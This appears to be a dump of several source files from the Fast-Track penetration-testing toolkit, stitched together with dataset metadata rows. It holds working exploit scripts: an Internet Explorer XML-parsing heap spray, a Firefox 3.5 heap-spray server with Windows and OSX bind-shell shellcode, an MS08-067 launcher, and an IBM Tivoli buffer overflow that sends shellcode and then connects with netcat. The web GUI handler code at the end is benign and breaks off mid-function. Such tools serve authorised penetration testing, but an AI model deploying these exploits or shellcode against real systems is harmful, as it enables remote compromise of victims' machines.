e%ua0e6%u33d8%ud5c8%u3070%u2d6a%u371a%uffbb%u171c%u0f2c%u9c68%ubcf2%u4b92%u92f3"); var spray = unescape("%u0a0a%u0a0a"); do { spray += spray; } while(spray.length < 0xd0000); memory = new Array(); for(i = 0; i < 100; i++) memory[i] = spray + shellcode; xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>"; tag = document.getElementById("replace"); tag.innerHTML = xmlcode; </script>""") self.wfile.write("""<title>XML Parsing Exploit</title></head><body>""") self.wfile.write("""<left><body bgcolor="Black"><font color="White"><p>Exploit is running</p><br>""") print "\n\n*** Exploit sent...wait about 30 seconds and attempt to connect to the machine at IP Address: %s and port 5500 ***" % (target) print "*** Example: open up a command shell and type nc %s 5500 ***" % (target) # Print custom HTTP Response def printCustomHTTPResponse(self, respcode): self.send_response(respcode) self.send_header("Content-type", "text/html") self.send_header("Server", "myRequestHandler") self.end_headers() # In case of exceptions, pass them except Exception: pass httpd = HTTPServer(('', 80), myRequestHandler) print """ ################################################# XML Parsing Buffer Overflow Heap Spray Universal ################################################# Most of the code was taken from Krafty's allinone exploit Greetz to Muts, HDM, Stazz, Sasquatch, Leroy, Whipsmack Rewritten by: David Kennedy (ReL1K), SecureState This exploit is already included in Fast-Track v4.0 Tested on Windows 2k3 R2 SP2 win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai """ print " Starting XML Parsing Exploit on Web Server:80\n" print " *** Have someone connect to you on port 80 ***\n" print " <ctrl>-c to Cancel" try: # open for business httpd.handle_request() # Serve HTTP server forever httpd.serve_forever() # Except Keyboard Interrupts and throw custom message except KeyboardInterrupt: print "\n\n Exiting exploit...\n\n" raise KeyboardInterrupt #sys.exit()
4,319
Python
.py
87
46.528736
1,061
0.725249
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,411
firefox35.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/firefox35.py.svn-base
#!/usr/bin/env python ###################################################### # # FireFox 3.5 Heap Spray (WIN, OSX, LINUX) # LINUX = Cause Crash # Smart Detection on Browser + OS # Originally discovered by: Simon Berry-Bryne # Pythonized by: David Kennedy (ReL1K) @ SecureState # ###################################################### from BaseHTTPServer import HTTPServer from BaseHTTPServer import BaseHTTPRequestHandler #from bin.include import print_banner class myRequestHandler(BaseHTTPRequestHandler): def do_GET(self): self.printCustomHTTPResponse(200) if self.path == "/": target=self.client_address[0] self.wfile.write(""" <html> <head> <title>Firefox 3.5 Vulnerability</title> Firefox 3.5 Heap Spray Exploit (WIN, OSX, LINUX) LINUX = Cause Crash Smart Detection on Browser + OS </br> Discovered by: SBerry aka Simon Berry-Byrne Pythonized: David Kennedy (ReL1K) at SecureState Bind Shell Port: 5500 </br> <div id="content"> <p> <FONT> </FONT> </p> <p> <FONT>Ihazacrashihazacrash</FONT></p> <p> <FONT>Ohnoesihazacrashhazcrash</FONT> </p> <p> <FONT>Aaaaahhhhh </FONT> </p> </div> <script language=JavaScript> // Initial detection for Firefox. if (navigator.userAgent.indexOf("Firefox") != -1) { // Detect Windows and Linux if (navigator.appVersion.indexOf("Win") !=-1) { // windows/shell_bind_tcp - 317 bytes http://www.metasploit.com LPORT=5500 encoding=shikata_ga_nai var shellcode= unescape("%u6afc%u4deb%uf9e8%uffff%u60ff%u6c8b%u2424%u458b%u8b3c%u057c%u0178%u8bef" + "%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca" + "%uc201%uf4eb%u543b%u2824%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01" + "%u2c03%u898b%u246c%u611c%u31c3%u64db%u438b%u8b30%u0c40%u708b%uad1c%u408b" + "%u5e08%u8e68%u0e4e%u50ec%ud6ff%u5366%u6866%u3233%u7768%u3273%u545f%ud0ff" + "%ucb68%ufced%u503b%ud6ff%u895f%u66e5%ued81%u0208%u6a55%uff02%u68d0%u09d9" + "%uadf5%uff57%u53d6%u5353%u5353%u5343%u5343%ud0ff%u6866%u7c15%u5366%ue189" + "%u6895%u1aa4%uc770%uff57%u6ad6%u5110%uff55%u68d0%uada4%ue92e%uff57%u53d6" + "%uff55%u68d0%u49e5%u4986%uff57%u50d6%u5454%uff55%u93d0%ue768%uc679%u5779" + "%ud6ff%uff55%u66d0%u646a%u6866%u6d63%ue589%u506a%u2959%u89cc%u6ae7%u8944" + "%u31e2%uf3c0%ufeaa%u2d42%u42fe%u932c%u7a8d%uab38%uabab%u7268%ub3fe%uff16" + "%u4475%ud6ff%u575b%u5152%u5151%u016a%u5151%u5155%ud0ff%uad68%u05d9%u53ce" + "%ud6ff%uff6a%u37ff%ud0ff%u578b%u83fc%u64c4%ud6ff%uff52%u68d0%uceef%u60e0" + "%uff53%uffd6%u41d0"); oneblock = unescape("%u0c0c%u0c0c"); } // Detect OSX and Firefox else if (navigator.appVersion.indexOf("Mac") !=-1) { // osx/x86/vforkshell_bind_tcp - 512 bytes http://www.metasploit.com LPORT=5500 var shellcode = unescape("%uc031%u5099%u5040%u5040%ub052%ucd61%u0f80%u7e82%u0000%u8900%u52c6"+ "%u5252%u0068%u1502%u897c%u6ae3%u5310%u5256%u68b0%u80cd%u6772%u5652%ub052%ucd6a%u7280%u525e%u"+ "5652%ub052%ucd1e%u7280%u8954%u31c7%u83db%u01eb%u5343%u5357%u5ab0%u80cd%u4372%ufb83%u7503%u31"+ "f1%u50c0%u5050%ub050%ucd3b%u9080%u3c90%u752d%ub009%ucd42%u8380%u00fa%u1774%uc031%u6850%u2f2f"+ "%u6873%u2f68%u6962%u896e%u50e3%u5350%ub050%ucd3b%u3180%u50c0%ue389%u5050%u5053%ub050%ucd07%u"+ "3180%u50c0%u4050%u80cd"); var oneblock = unescape("%u4141%u4141"); } // Detect Linux and Firefox else if (navigator.appVersion.indexOf("X11") !=-1) { // causes crash var shellcode = unescape("%u41%u41"); var oneblock = unescape("%u0d0d%u0d0d"); } else { window.location="about:blank" } } var fullblock = oneblock; while (fullblock.length<0x60000) { fullblock += fullblock; } sprayContainer = new Array(); for (i=0; i<600; i++) { sprayContainer[i] = fullblock + shellcode; } var searchArray = new Array() function escapeData(data) { var i; var c; var escData=''; for(i=0;i<data.length;i++) { c=data.charAt(i); if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c); escData+=c; } return escData; } function DataTranslator(){ searchArray = new Array(); searchArray[0] = new Array(); searchArray[0]["str"] = "blah"; var newElement = document.getElementById("content") if (document.getElementsByTagName) { var i=0; pTags = newElement.getElementsByTagName("p") if (pTags.length > 0) while (i<pTags.length) { oTags = pTags[i].getElementsByTagName("font") searchArray[i+1] = new Array() if (oTags[0]) { searchArray[i+1]["str"] = oTags[0].innerHTML; } i++ } } } function GenerateHTML() { var html = ""; for (i=1;i<searchArray.length;i++) { html += escapeData(searchArray[i]["str"]) } } DataTranslator(); GenerateHTML() </script> </body> </html>""") print ("\n\n[-] Exploit sent... [-]\n[-] Wait about 30 seconds and attempt to connect.[-]\n[-] Connect to IP Address: %s and port 5500 [-]" % (target)) def printCustomHTTPResponse(self, respcode): self.send_response(respcode) self.send_header("Content-type", "text/html") self.send_header("Server", "myRequestHandler") self.end_headers() httpd = HTTPServer(('', 80), myRequestHandler) #print_banner() print (""" ####################################################### # # FireFox 3.5 Heap Spray (WIN, OSX, LINUX) # LINUX = Cause Crash # Smart Detection on Browser + OS # Originally discovered by: Simon Berry-Bryne # Pythonized: David Kennedy (ReL1K) @ SecureState # ####################################################### """) print (" Listening on port 80.") print (" Have someone connect to you.") print ("\n <ctrl>-c to exit..") try: httpd.handle_request() httpd.serve_forever() except KeyboardInterrupt: print ("\n\n Exiting exploit...\n\n") raise KeyboardInterrupt
5,934
Python
.py
178
29.601124
163
0.659452
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,412
ms08067run.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/ms08067run.py.svn-base
#!/usr/bin/env python # # had to add this due to paramariko dying when importing the function # # import os import sys import subprocess try: from impacket import smb from impacket import uuid from impacket.dcerpc import dcerpc from impacket.dcerpc import transport except ImportError, _: print ' Install the following library to make this script work' print ' Impacket : http://oss.coresecurity.com/projects/impacket.html' print ' PyCrypto : http://www.amk.ca/python/code/crypto.html' print "\n\n Exiting Fast-Track...\n\n" sys.exit(1) definepath=os.getcwd() launch=subprocess.Popen("python %s/bin/exploits/ms08067.py" % (definepath), shell=True).wait()
703
Python
.py
21
30.761905
94
0.737537
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,413
ibmcad.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/ibmcad.py.svn-base
#!/usr/bin/env python import sys import os import socket import time #from bin.include import print_banner #print_banner() try: import psyco psyco.full() except ImportError: pass choice=raw_input(""" Enter which version you want to target: All JMP ESP's are performed in User32.dll 1. Windows 2000 Service Pack 0 - JMP ESP 77D20738 2. Windows 2000 Service Pack 4 - JMP ESP 77e3c256 3. Windows 2003 Service Pack 0 and 1 - JMP ESP 77d20738 4. Windows XP SP2 - JMP ESP 77d8af0a <ctrl>-c to Cancel Enter number: """) if choice == '1': choice=("\x38\x07\xD2\x77") print " JMP ESP set to: '\\x38\\x07\\xD2\\x77'" if choice == '2': choice=("\x56\xc2\xe3\x77") print " JMP ESP set to: '\\x56\\xc2\\xe3\\x77'" if choice == '3': choice=("\x38\x07\xd2\x77") print " JMP ESP set to: '\\x38\\x07\\xd2\\x77'" if choice == '4': choice=("\x0a\xaf\xd8\x77") print " JMP ESP set to: '\\x0a\\xaf\\xd8\\x77'" try: try: target=sys.argv[4] except IndexError: target=raw_input("\n Enter the IP Address to Attack: ") buffer="BirdsflyinghighyouknowhowIfeel" buffer+="SunintheskyyouknowhowIfeel" buffer+="ReeedsdriftinonbyyouknowhowIfeel" buffer+="ItsanewdawnItsanewdayItsanewlifeForme" buffer+="ItsanewdawnItsanewdayItsanewlifeFormeitsanewdawnitsanewdayforme" buffer+=(choice) buffer+="\x90"*4 buffer+=( # win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com */ "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x37\x49" "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x61" "\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x71\x41\x32\x41\x41\x32" "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x68\x69\x49\x6c\x31" "\x7a\x68\x6b\x62\x6d\x49\x78\x4b\x49\x39\x6f\x6b\x4f\x39\x6f\x33" "\x50\x4e\x6b\x52\x4c\x34\x64\x74\x64\x6e\x6b\x42\x65\x67\x4c\x6c" "\x4b\x41\x6c\x46\x65\x42\x58\x57\x71\x7a\x4f\x6c\x4b\x50\x4f\x65" "\x48\x4e\x6b\x71\x4f\x51\x30\x37\x71\x58\x6b\x77\x39\x4e\x6b\x75" "\x64\x4c\x4b\x53\x31\x5a\x4e\x44\x71\x4b\x70\x6f\x69\x6e\x4c\x6c" "\x44\x69\x50\x42\x54\x45\x57\x4f\x31\x7a\x6a\x36\x6d\x54\x41\x6b" "\x72\x78\x6b\x69\x64\x47\x4b\x50\x54\x36\x44\x64\x68\x43\x45\x4a" "\x45\x6e\x6b\x41\x4f\x56\x44\x65\x51\x48\x6b\x75\x36\x6c\x4b\x64" "\x4c\x50\x4b\x6e\x6b\x71\x4f\x77\x6c\x34\x41\x48\x6b\x53\x33\x66" "\x4c\x6e\x6b\x4b\x39\x30\x6c\x36\x44\x65\x4c\x51\x71\x4f\x33\x57" "\x41\x39\x4b\x71\x74\x4c\x4b\x50\x43\x76\x50\x4e\x6b\x41\x50\x54" "\x4c\x6e\x6b\x32\x50\x45\x4c\x4c\x6d\x6e\x6b\x47\x30\x36\x68\x73" "\x6e\x32\x48\x6c\x4e\x30\x4e\x56\x6e\x5a\x4c\x56\x30\x6b\x4f\x4b" "\x66\x71\x76\x62\x73\x31\x76\x45\x38\x74\x73\x76\x52\x71\x78\x63" "\x47\x63\x43\x76\x52\x31\x4f\x41\x44\x79\x6f\x4e\x30\x65\x38\x58" "\x4b\x48\x6d\x4b\x4c\x75\x6b\x72\x70\x6b\x4f\x7a\x76\x71\x4f\x6f" "\x79\x6d\x35\x51\x76\x6c\x41\x58\x6d\x65\x58\x57\x72\x73\x65\x73" "\x5a\x44\x42\x49\x6f\x6e\x30\x31\x78\x4e\x39\x64\x49\x6a\x55\x4e" "\x4d\x53\x67\x79\x6f\x6e\x36\x41\x43\x31\x43\x46\x33\x73\x63\x42" "\x73\x30\x43\x41\x43\x32\x63\x70\x53\x4b\x4f\x38\x50\x43\x56\x71" "\x78\x74\x51\x33\x6c\x31\x76\x70\x53\x4e\x69\x5a\x41\x4d\x45\x41" "\x78\x4c\x64\x35\x4a\x30\x70\x6b\x77\x52\x77\x6b\x4f\x6e\x36\x62" "\x4a\x34\x50\x72\x71\x76\x35\x69\x6f\x4e\x30\x45\x38\x6e\x44\x4c" "\x6d\x46\x4e\x4d\x39\x46\x37\x59\x6f\x4b\x66\x30\x53\x62\x75\x49" "\x6f\x38\x50\x63\x58\x6b\x55\x37\x39\x4e\x66\x71\x59\x41\x47\x6b" "\x4f\x5a\x76\x70\x50\x51\x44\x31\x44\x70\x55\x6b\x4f\x68\x50\x6e" "\x73\x71\x78\x59\x77\x70\x79\x5a\x66\x71\x69\x66\x37\x6b\x4f\x6a" "\x76\x52\x75\x4b\x4f\x5a\x70\x71\x76\x31\x7a\x55\x34\x31\x76\x72" "\x48\x50\x63\x72\x4d\x6f\x79\x78\x65\x53\x5a\x72\x70\x72\x79\x76" "\x49\x78\x4c\x4b\x39\x4d\x37\x53\x5a\x32\x64\x6d\x59\x6a\x42\x37" "\x41\x6b\x70\x4b\x43\x4f\x5a\x49\x6e\x63\x72\x56\x4d\x49\x6e\x30" "\x42\x64\x6c\x6d\x43\x6c\x4d\x62\x5a\x75\x68\x6c\x6b\x6e\x4b\x6e" "\x4b\x50\x68\x43\x42\x49\x6e\x6c\x73\x62\x36\x69\x6f\x74\x35\x30" "\x44\x6b\x4f\x48\x56\x53\x6b\x70\x57\x73\x62\x71\x41\x70\x51\x76" "\x31\x63\x5a\x57\x71\x42\x71\x66\x31\x72\x75\x71\x41\x49\x6f\x68" "\x50\x75\x38\x4c\x6d\x79\x49\x74\x45\x5a\x6e\x32\x73\x4b\x4f\x6e" "\x36\x72\x4a\x6b\x4f\x6b\x4f\x50\x37\x79\x6f\x4e\x30\x6e\x6b\x46" "\x37\x69\x6c\x4f\x73\x69\x54\x52\x44\x49\x6f\x4b\x66\x43\x62\x6b" "\x4f\x5a\x70\x51\x78\x7a\x50\x4f\x7a\x76\x64\x31\x4f\x33\x63\x4b" "\x4f\x48\x56\x49\x6f\x48\x50\x61") expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM ) print " [*] Connecting to "+target expl.connect ( ( target, 1581 ) ) print " [*] Sending evil buffer, ph33r" expl.send ( 'GET /BACLIENT HTTP/1.0\r\nHost: 192.168.1.1 '+ buffer+'\r\n\r\n') expl.close() print " [*] Check port 4444 for bindshell" print " Launching netcat to check...If you have a shell you were successful..." ncstart=os.popen2('xterm -T "IBM Tivoli Storage Manager Express CAD Service Buffer Overflow" -e nc -v %s 4444' % (target)) except Exception, e: print "\n Something went wrong. Might not be vulnerable..\n Printing error: "+str(e)+"\n Returning to exploits menu..." time.sleep(4)
5,371
Python
.py
102
47.882353
132
0.676841
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,414
ftgui_pageobjects.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/web/ftgui_pageobjects.py
''' Created on Sep 20, 2010 @author: j0fer ''' import re import string # Header section for webpage def load_header(self): headeropen = file("bin/web/html/header", "r").readlines() for line in headeropen: self.wfile.write(line) # Left hand nav section for webpage def load_nav(self): navopen = file("bin/web/html/nav", "r").readlines() for line in navopen: self.wfile.write(line) # Footer section for webpage def load_footer(self): footeropen = file("bin/web/html/footer", "r").readlines() for line in footeropen: self.wfile.write(line) # Standard function to draw exploit page def draw_frame(self): frame = (self.path).lstrip('/') load_header(self) load_nav(self) currentdata = file("bin/web/html/" + frame, "r").readlines() for line in currentdata: self.wfile.write(line) load_footer(self) # Draw frames which read from textfile(s) def draw_complexframe(self, title, textfile): load_header(self) load_nav(self) frame_head1 = file("bin/web/html/frame_head1", "r").readlines() for line in frame_head1: self.wfile.write(line) self.wfile.write(title) frame_head2 = file("bin/web/html/frame_head2", "r").readlines() for line in frame_head2: self.wfile.write(line) currentdata = file(textfile, "r").readlines() for line in currentdata: self.wfile.write(line + "<br>") frame_foot = file("bin/web/html/frame_foot", "r").readlines() for line in frame_foot: self.wfile.write(line) load_footer(self) # Common task code, displays 'finished' message def dofinishedpost(self): load_header(self) load_nav(self) finishedpost = file("bin/web/html/finished", "r").readlines() for line in finishedpost: self.wfile.write(line) load_footer(self) # Common task code, performs exploitation tasks def doexploitpost(self): content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data = re.split('=|&', raw_post_data) self.send_response(200) self.end_headers() ipaddr = raw_post_data[1].rstrip() ipaddr = ipaddr.replace("+", " ") dofinishedpost(self) # Common error message code def showposterror(self): print "Exiting Fast-Track Web GUI.." print "\nType <ctrl>-c again to exit Fast-Track Web Gui.."
2,387
Python
.py
68
30.514706
69
0.684759
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,415
ftgui.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/web/ftgui.py
#!/usr/bin/env python """ Fast-Track Web GUI Front-End, very very beta... This is my first attempt at throwing something together that is easier to use... It will be a gradual progression and improve as time goes along. Thanks to everyone for the help and support through this and testing, much appreciated to everyone. Muts, ShamanVirtual, MaJ, Sleep, TheX1le, Stazz, Leroy (Jenkem), Sasquatch, whipsmack, and everyone else that has given me ideas, and testing things out. """ # Import modules needed here..all standard Python modules from BaseHTTPServer import HTTPServer from BaseHTTPServer import BaseHTTPRequestHandler import string,sys,os,re,subprocess,datetime # Define current working directory definepath=os.getcwd() sys.path.append("%s/bin/setup/" % (definepath)) # Start count to check all system requirements import depend # End Dependency check # Def request handlers to handle GET/POST sys.path.append("%s/bin/web/" % (definepath)) def load_header(self): headeropen=file("bin/web/html/header", "r").readlines() for line in headeropen: self.wfile.write(line) # define left hand nav section for webpage def load_nav(self): navopen=file("bin/web/html/nav", "r").readlines() for line in navopen: self.wfile.write(line) # Define footer section for webpage def load_footer(self): footeropen=file("bin/web/html/footer", "r").readlines() for line in footeropen: self.wfile.write(line) class myRequestHandler(BaseHTTPRequestHandler): try: def do_GET(self): # Always Accept GET # Site root: Main Menu if self.path == "/": self.printCustomHTTPResponse(200) load_header(self) load_nav(self) indexopen=file("bin/web/html/index","r").readlines() for line in indexopen: self.wfile.write(line) load_footer(self) # Style.CSS if self.path == "/fast_track.css": self.send_response(200) self.send_header('Content_type', 'text/css') self.end_headers() cssopen=file("bin/web/html/fast_track.css","r").readlines() for line in cssopen: self.wfile.write(line) # Spacer if self.path == "/images/spacer.gif": spacer=file("bin/web/html/images/spacer.gif","rb").readlines() for line in spacer: self.wfile.write(line) # Left graphic image for nav if self.path == "/images/ft_left_pane_1.jpg": spacer=file("bin/web/html/images/ft_left_pane_1.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # Bullet if self.path == "/images/bullet.jpg": bullet=file("bin/web/html/images/bullet.jpg","rb").readlines() for line in bullet: self.wfile.write(line) # Content if self.path == "/images/content.gif": content=file("bin/web/html/images/content.gif","rb").readlines() for line in content: self.wfile.write(line) # Fast_Track_01 if self.path == "/images/fast_track_01.jpg.gif": ft1=file("bin/web/html/images/fast_track_01.jpg","rb").readlines() for line in ft1: self.wfile.write(line) # Fast_Track_03 if self.path == "/images/fast_track_03.jpg": ft3=file("bin/web/html/images/fast_track_03.jpg","rb").readlines() for line in ft3: self.wfile.write(line) # Fast_Track_08 if self.path == "/images/fast_track_08.jpg": ft8=file("bin/web/html/images/fast_track_08.jpg","rb").readlines() for line in ft8: self.wfile.write(line) # Fast_Track_09 if self.path == "/images/fast_track_09.jpg": ft9=file("bin/web/html/images/fast_track_09.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # Fast_Track_10 if self.path == "/images/fast_track_10.jpg": ft=file("bin/web/html/images/fast_track_10.jpg","rb").readlines() for line in ft: self.wfile.write(line) # Fast_Track_11 if self.path == "/images/fast_track_11.jpg": ft9=file("bin/web/html/images/fast_track_11.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # Fast_Track_15 if self.path == "/images/fast_track_15.jpg": ft9=file("bin/web/html/images/fast_track_15.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # Fast_Track_16 if self.path == "/images/fast_track_16.jpg": ft9=file("bin/web/html/images/fast_track_16.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # Fast_Track_18 if self.path == "/images/fast_track_18.jpg": ft9=file("bin/web/html/images/fast_track_18.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # Fast_Track_21 if self.path == "/images/fast_track_21.jpg": ft9=file("bin/web/html/images/fast_track_21.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # Fast_Track_25 if self.path == "/images/fast_track_25.jpg": ft9=file("bin/web/html/images/fast_track_25.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # Fast_Track_26 if self.path == "/images/fast_track_26.jpg": ft9=file("bin/web/html/images/fast_track_26.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # FT_header_04 if self.path == "/images/ft_header_04.jpg": ft9=file("bin/web/html/images/ft_header_04.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # ft_header_hover_03 if self.path == "/images/ft_header_hover_03.jpg": ft9=file("bin/web/html/images/ft_header_hover_03.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # ft_header_hover_04 if self.path == "/images/ft_header_hover_04.jpg": ft9=file("bin/web/html/images/ft_header_hover_04.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # ft_header_hover_05 if self.path == "/images/ft_header_hover_05.jpg": ft9=file("bin/web/html/images/ft_header_hover_05.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # ft_header_hover_07 if self.path == "/images/ft_header_hover_07.jpg": ft9=file("bin/web/html/images/ft_header_hover_07.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # page_bg if self.path == "/images/page_bg.jpg": ft9=file("bin/web/html/images/page_bg.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # btn1 if self.path == "/images/btn_launch_1.jpg": spacer=file("bin/web/html/images/btn_launch_1.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # btn2 if self.path == "/images/btn_launch_2.jpg": spacer=file("bin/web/html/images/btn_launch_2.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # btn3 if self.path == "/images/btn_launch_3.jpg": spacer=file("bin/web/html/images/btn_launch_3.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # msautopwn if self.path == "/images/btn_msautopwn.jpg": spacer=file("bin/web/html/images/btn_msautopwn.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # btn_reset if self.path == "/images/btn_reset.jpg": spacer=file("bin/web/html/images/btn_reset.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # btn_browse if self.path == "/images/btn_browse.jpg": spacer=file("bin/web/html/images/btn_browse.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # btn_updateall if self.path == "/images/btn_updateall.jpg": spacer=file("bin/web/html/images/btn_updateall.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # updateft if self.path == "/images/btn_updateft.jpg": spacer=file("bin/web/html/images/btn_updateft.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # meta update if self.path == "/images/btn_updatems.jpg": spacer=file("bin/web/html/images/btn_updatems.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # Fast_Track_10 if self.path == "/images/fast_track_10.jpg": ft10=file("bin/web/html/images/fast_track_10.jpg","rb").readlines() for line in ft10: self.wfile.write(line) # Update: Update Menu for Fast-Track and various other tools if self.path == "/update": load_header(self) load_nav(self) update=file("bin/web/html/updates","r").readlines() for line in update: self.wfile.write(line) load_footer(self) # Autopwn: Metasploit Autopwn Automated if self.path == "/autopwn": load_header(self) load_nav(self) autopwn=file("bin/web/html/autopwn","r").readlines() for line in autopwn: self.wfile.write(line) load_footer(self) # SQL Brute Main: Sql brute forcing Main Menu if self.path == "/sqlbrute": load_header(self) load_nav(self) sqlbrute=file("bin/web/html/sqlbrutemain","r").readlines() for line in sqlbrute: self.wfile.write(line) load_footer(self) # Quick brute option: SQL brute forcing using quick (like 50 passwords) if self.path == "/quickbrute": load_header(self) load_nav(self) sqlbrutequick=file("bin/web/html/quickbrute","r").readlines() for line in sqlbrutequick: self.wfile.write(line) load_footer(self) # Wordlist brute option wordlist: Import an external wordlist and brute force against one or many hosts if self.path == "/wordlistbrute": load_header(self) load_nav(self) wordlistbrute=file("bin/web/html/wordlistbrute","r").readlines() for line in wordlistbrute: self.wfile.write(line) load_footer(self) # Binary Convert: Convert binarys to a pasteable format to a windows shell to compile it..used as a PAYLOAD delivery method if self.path == "/binaryconvert": load_header(self) load_nav(self) binaryconvert=file("bin/web/html/binaryconvert","r").readlines() for line in binaryconvert: self.wfile.write(line) load_footer(self) # Changelog: Fast-Track updates, uses CHANGELOG under readme to generate the info dynamically if self.path == "/changelog": load_header(self) load_nav(self) changelog=file("bin/web/html/changelog","r").readlines() for line in changelog: self.wfile.write(line) match2=re.search('<div style="overflow:scroll;', line) if match2: menuopen=file("readme/CHANGELOG","r").readlines() for line in menuopen: self.wfile.write('<p class="box_text">'+line+"</p>") load_footer(self) # Tutorials for Fast-Track, generate the info dynamically if self.path == "/tutorials": load_header(self) load_nav(self) tutorials=file("bin/web/html/tutorials","r").readlines() for line in tutorials: self.wfile.write(line) load_footer(self) # Credits for Fast-Track, generate the info dynamically if self.path == "/credits": load_header(self) load_nav(self) tutorials=file("bin/web/html/credits","r").readlines() for line in tutorials: self.wfile.write(line) load_footer(self) # SQL Injector Main: Find an injectable parameter and this trys to exploit it: Main Menu if self.path == "/sqlinjector": load_header(self) load_nav(self) sqlinjectormain=file("bin/web/html/sqlinjector","r").readlines() for line in sqlinjectormain: self.wfile.write(line) load_footer(self) # SQL Injector Binary Payload: Use binary to hex conversions to deliver our payload through SQL Injection if self.path == "/binarypayload": load_header(self) load_nav(self) binarypayload=file("bin/web/html/binarypayload","r").readlines() for line in binarypayload: self.wfile.write(line) load_footer(self) # SQL Injector FTP Payload: Use FTP as a median for transfer, delivers a netcat payload if self.path == "/ftppayload": load_header(self) load_nav(self) ftppayload=file("bin/web/html/ftppayload","r").readlines() for line in ftppayload: self.wfile.write(line) load_footer(self) # SQL Injector POST Binary Payload: if self.path == "/postpayload": load_header(self) load_nav(self) postpayload=file("bin/web/html/postpayload","r").readlines() for line in postpayload: self.wfile.write(line) load_footer(self) # SQL Injector Manual Payload: Setup everything manual for you, i.e nc listening on port x and ip of x if self.path == "/manualpayload": load_header(self) load_nav(self) manualpayload=file("bin/web/html/manualpayload","r").readlines() for line in manualpayload: self.wfile.write(line) load_footer(self) if self.path == "/massclient": load_header(self) load_nav(self) massclient=file("bin/web/html/massclient","r").readlines() for line in massclient: self.wfile.write(line) load_footer(self) # Payload Generator if self.path == "/payloadgen": load_header(self) load_nav(self) payloadgen=file("bin/web/html/payloadgen","r").readlines() for line in payloadgen: self.wfile.write(line) load_footer(self) # Exploits Main if self.path == "/exploits": load_header(self) load_nav(self) exploitsmain=file("bin/web/html/exploits","r").readlines() for line in exploitsmain: self.wfile.write(line) load_footer(self) # HP OpenView CGI Exploit if self.path == "/openviewcgi": load_header(self) load_nav(self) openviewcgi=file("bin/web/html/openviewcgi","r").readlines() for line in openviewcgi: self.wfile.write(line) load_footer(self) # IBM Tivoli Exploit if self.path == "/ibmtivoli": load_header(self) load_nav(self) ibmtivoli=file("bin/web/html/ibmtivoli","r").readlines() for line in ibmtivoli: self.wfile.write(line) load_footer(self) # HP OpenView NNM Exploit if self.path == "/openviewnnm": load_header(self) load_nav(self) openviewnnm=file("bin/web/html/openviewnnm","r").readlines() for line in openviewnnm: self.wfile.write(line) load_footer(self) # Quicktime RTSP if self.path == "/quicktime": load_header(self) load_nav(self) ibmtivoli=file("bin/web/html/quicktime","r").readlines() for line in ibmtivoli: self.wfile.write(line) load_footer(self) # Goodtech if self.path == "/goodtech": load_header(self) load_nav(self) goodtech=file("bin/web/html/goodtech","r").readlines() for line in goodtech: self.wfile.write(line) load_footer(self) # \MS08-067 if self.path == "/ms08067": load_header(self) load_nav(self) ms08067=file("bin/web/html/ms08067","r").readlines() for line in ms08067: self.wfile.write(line) load_footer(self) # \MS09-002 if self.path == "/ms09002": load_header(self) load_nav(self) ms09002=file("bin/web/html/ms09002","r").readlines() for line in ms09002: self.wfile.write(line) load_footer(self) # MIRC if self.path == "/mirc": load_header(self) 